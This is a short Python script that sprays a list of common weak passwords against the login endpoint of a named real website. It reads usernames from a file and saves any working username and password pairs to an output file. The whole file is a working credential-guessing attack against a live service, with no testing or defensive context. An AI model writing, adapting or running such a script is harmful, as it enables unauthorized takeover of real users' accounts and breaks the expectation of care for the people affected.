import requests
import traceback

URL = "http://www.jisilu.cn/account/ajax/login_process/"

PASSWORD = "000000 111111 11111111 112233 123123 123321 123456 12345678 123qwe 5201314 654321 666666 888888 aaa111 abc123 abcdef iloveyou password qweasd qwerty".split()

def login(u, password):
    for i in range(3):
        try:
            return requests.post(
                URL,
                dict(
                    return_url = "http://www.jisilu.cn/",
                    user_name = u,
                    password = password,
                    net_auto_login = 1,
                    _post_type = "ajax"
                ),
                timeout=30
            )
        except:
            traceback.print_exc()

def main():
    with open("user_password.txt","a") as out:
        with open("user.txt") as user:
            for u in reversed(list(user)):
                u = u.strip()
                for password in PASSWORD:
                    print(u,password)
                    r = login(u, password)
                    if r:
                        r = r.json()
                        if not r.get('err',0):
                            out.write("%s %s\n"%(u,password))
                            out.flush()
                            break
                        print(r['err'])


if __name__ == "__main__":
    main()
